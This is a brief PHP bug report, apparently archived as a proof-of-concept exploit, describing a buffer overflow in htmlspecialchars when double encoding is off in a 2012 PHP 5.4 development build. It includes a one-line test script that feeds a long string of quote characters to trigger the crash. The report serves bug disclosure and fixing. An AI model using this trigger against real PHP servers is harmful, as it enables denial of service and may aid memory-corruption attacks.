PHP 5.4SVN-2012-02-03 htmlspecialchars/entities buffer overflow proof of concept exploit.
7d9d68a3f64eb85daf94cd1428c3c855c5f69e5d8dbbbe3c5757e334382bf46d
From: cataphract
Operating system: Any
PHP version: 5.4SVN-2012-02-03 (SVN)
Package: Reproducible crash
Bug Type: Bug
Bug description:Buffer overflow on htmlspecialchars/entities with $double=false
Description:
------------
Long entities can cause a buffer overflow because the loop only guarantees
40 bytes available in beginning.
Test script:
---------------
<?php
echo
htmlspecialchars('"""""""""""""""""""""""""""""""""""""""""""""',
ENT_QUOTES, 'UTF-8', false), "\n";